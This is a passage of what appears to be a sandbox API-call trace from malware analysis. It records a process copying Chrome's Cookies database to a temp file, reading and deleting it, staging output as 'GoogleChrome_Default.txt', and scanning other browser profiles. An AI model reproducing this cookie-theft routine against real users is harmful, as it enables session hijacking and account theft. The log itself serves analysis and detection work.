lpWideCharStr=0x1e7de3d8, cchWideChar=2047 | out: lpWideCharStr="31482667ఌḪṽ\x10") returned 4 [0163.504] SysReAllocStringLen (in: pbstr=0x1e7df530*=0x0, psz="3148", len=0x4 | out: pbstr=0x1e7df530*="3148") returned 1 [0163.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df3fd, cbMultiByte=4, lpWideCharStr=0x1e7de3d4, cchWideChar=2047 | out: lpWideCharStr="2656482667ఌḪṽ\x10") returned 4 [0163.504] SysReAllocStringLen (in: pbstr=0x1e7df52c*=0x0, psz="2656", len=0x4 | out: pbstr=0x1e7df52c*="2656") returned 1 [0163.504] SysReAllocStringLen (in: pbstr=0x1e7df6b4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies", len=0x48 | out: pbstr=0x1e7df6b4*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies") returned 1 [0163.504] SysReAllocStringLen (in: pbstr=0x1e7df540*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies", len=0x48 | out: pbstr=0x1e7df540*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies") returned 1 [0163.504] SysReAllocStringLen (in: pbstr=0x1e7df6b4*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies", len=0x48 | out: pbstr=0x1e7df6b4*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies") returned 1 [0163.507] SysReAllocStringLen (in: pbstr=0x1e7df53c*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", len=0x47 | out: pbstr=0x1e7df53c*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 1 [0163.507] SysReAllocStringLen (in: pbstr=0x1e7df6b4*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", len=0x47 | out: pbstr=0x1e7df6b4*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 1 [0163.507] SysReAllocStringLen (in: pbstr=0x1e7df538*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", len=0x47 | out: pbstr=0x1e7df538*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 1 [0163.507] SysReAllocStringLen (in: pbstr=0x1e7df6b4*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", len=0x47 | out: pbstr=0x1e7df6b4*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 1 [0163.508] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0x25 [0163.508] SysReAllocStringLen (in: pbstr=0x1e7df6b0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp", len=0x41 | out: pbstr=0x1e7df6b0*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp") returned 1 [0163.508] SysReAllocStringLen (in: pbstr=0x1e7df540*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp", len=0x41 | out: pbstr=0x1e7df540*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp") returned 1 [0163.508] SysReAllocStringLen (in: pbstr=0x1e7df6b0*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp", len=0x41 | out: pbstr=0x1e7df6b0*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp") returned 1 [0163.508] SysReAllocStringLen (in: pbstr=0x1e7df53c*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp", len=0x41 | out: pbstr=0x1e7df53c*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp") returned 1 [0163.508] SysReAllocStringLen (in: pbstr=0x1e7df6b0*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp", len=0x41 | out: pbstr=0x1e7df6b0*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp") returned 1 [0163.508] SysReAllocStringLen (in: pbstr=0x1e7df538*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp", len=0x41 | out: pbstr=0x1e7df538*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp") returned 1 [0163.509] SysReAllocStringLen (in: pbstr=0x1e7df6b0*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp", len=0x41 | out: pbstr=0x1e7df6b0*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp") returned 1 [0163.509] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\cookies"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182028482867542631482656.tmp"), bFailIfExists=1) returned 1 [0163.517] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp", cchWideChar=65, lpMultiByteStr=0x1e7de53c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp8[", lpUsedDefaultChar=0x0) returned 65 [0163.517] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2714, cbMultiByte=65, lpWideCharStr=0x1e7de51c, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp῰") returned 65 [0163.517] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd07030, cbMultiByte=65, lpWideCharStr=0x1e7de53c, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmpṽ") returned 65 [0163.518] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182028482867542631482656.tmp")) returned 0x2020 [0163.519] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe18150, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0163.519] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe18150, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp") returned 66 [0163.519] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0163.519] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp", nBufferLength=0x45, lpBuffer=0x1fe03d30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp", lpFilePart=0x0) returned 0x41 [0163.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0163.520] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp", cchWideChar=-1, lpMultiByteStr=0x1fe181a0, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp", lpUsedDefaultChar=0x0) returned 66 [0163.520] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0163.520] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b5e8, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp") returned 66 [0163.520] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182028482867542631482656.tmp"), fInfoLevelId=0x0, lpFileInformation=0x1e7df358 | out: lpFileInformation=0x1e7df358*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa5c02580, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa5c02580, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xe3efc50, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0163.520] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182028482867542631482656.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x66c [0163.521] ReadFile (in: hFile=0x66c, lpBuffer=0x1e7df488, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x1e7df44c, lpOverlapped=0x1e7df410 | out: lpBuffer=0x1e7df488*, lpNumberOfBytesRead=0x1e7df44c*=0x64, lpOverlapped=0x1e7df410) returned 1 [0163.523] strncmp (_Str1="simple", _Str2="porter", _MaxCount=0x7) returned 1 [0163.528] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.530] LockFileEx (in: hFile=0x66c, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de810 | out: lpOverlapped=0x1e7de810) returned 1 [0163.530] LockFileEx (in: hFile=0x66c, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de804 | out: lpOverlapped=0x1e7de804) returned 1 [0163.530] UnlockFileEx (in: hFile=0x66c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de814 | out: lpOverlapped=0x1e7de814) returned 1 [0163.530] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0163.530] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x1fe2c020, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp-journal") returned 74 [0163.530] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp-journal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182028482867542631482656.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x1e7de810 | out: lpFileInformation=0x1e7de810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0163.530] GetLastError () returned 0x2 [0163.531] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0163.531] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp-wal") returned 70 [0163.531] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182028482867542631482656.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x1e7de828 | out: lpFileInformation=0x1e7de828*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0163.531] GetLastError () returned 0x2 [0163.531] GetFileSize (in: hFile=0x66c, lpFileSizeHigh=0x1e7de854 | out: lpFileSizeHigh=0x1e7de854*=0x0) returned 0x7000 [0163.531] ReadFile (in: hFile=0x66c, lpBuffer=0x1fe66be0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1e7de830, lpOverlapped=0x1e7de7f4 | out: lpBuffer=0x1fe66be0*, lpNumberOfBytesRead=0x1e7de830*=0x1000, lpOverlapped=0x1e7de7f4) returned 1 [0163.542] UnlockFileEx (in: hFile=0x66c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de510 | out: lpOverlapped=0x1e7de510) returned 1 [0163.542] LockFileEx (in: hFile=0x66c, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7df1e0 | out: lpOverlapped=0x1e7df1e0) returned 1 [0163.542] LockFileEx (in: hFile=0x66c, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7df1d4 | out: lpOverlapped=0x1e7df1d4) returned 1 [0163.542] UnlockFileEx (in: hFile=0x66c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df1e4 | out: lpOverlapped=0x1e7df1e4) returned 1 [0163.542] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0163.543] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x1fe31020, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp-journal") returned 74 [0163.543] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp-journal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182028482867542631482656.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x1e7df1e0 | out: lpFileInformation=0x1e7df1e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0163.543] GetLastError () returned 0x2 [0163.543] ReadFile (in: hFile=0x66c, lpBuffer=0x1e7df264, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x1e7df24c, lpOverlapped=0x1e7df210 | out: lpBuffer=0x1e7df264*, lpNumberOfBytesRead=0x1e7df24c*=0x10, lpOverlapped=0x1e7df210) returned 1 [0163.543] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0163.543] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp-wal") returned 70 [0163.543] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182028482867542631482656.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x1e7df1f8 | out: lpFileInformation=0x1e7df1f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0163.543] GetLastError () returned 0x2 [0163.543] GetFileSize (in: hFile=0x66c, lpFileSizeHigh=0x1e7df224 | out: lpFileSizeHigh=0x1e7df224*=0x0) returned 0x7000 [0163.543] ReadFile (in: hFile=0x66c, lpBuffer=0x1fe65b40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1e7df218, lpOverlapped=0x1e7df1dc | out: lpBuffer=0x1fe65b40*, lpNumberOfBytesRead=0x1e7df218*=0x1000, lpOverlapped=0x1e7df1dc) returned 1 [0163.543] UnlockFileEx (in: hFile=0x66c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df1c8 | out: lpOverlapped=0x1e7df1c8) returned 1 [0163.543] CloseHandle (hObject=0x66c) returned 1 [0163.558] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40e000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40e000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.559] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.560] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.560] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.561] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182028482867542631482656.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182028482867542631482656.tmp")) returned 1 [0163.563] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.563] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.564] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.564] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.565] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Browsers\\Cookies\\GoogleChrome_Default.txt", cchWideChar=41, lpMultiByteStr=0x1e7de6ec, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Browsers\\Cookies\\GoogleChrome_Default.txt", lpUsedDefaultChar=0x0) returned 41 [0163.565] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.565] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVWhitelist", cAlternateFileName="EVWHIT~1")) returned 1 [0163.566] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.566] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.567] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\EVWhitelist\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\evwhitelist\\cookies")) returned 0xffffffff [0163.567] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0163.567] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\FileTypePolicies\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\filetypepolicies\\cookies")) returned 0xffffffff [0163.567] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb057460, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb057460, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb057460, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0163.567] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\First Run\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\first run\\cookies")) returned 0xffffffff [0163.567] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda67d40, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xda67d40, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xdcf1bb0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x10ed9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0163.568] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Local State\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\local state\\cookies")) returned 0xffffffff [0163.568] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", 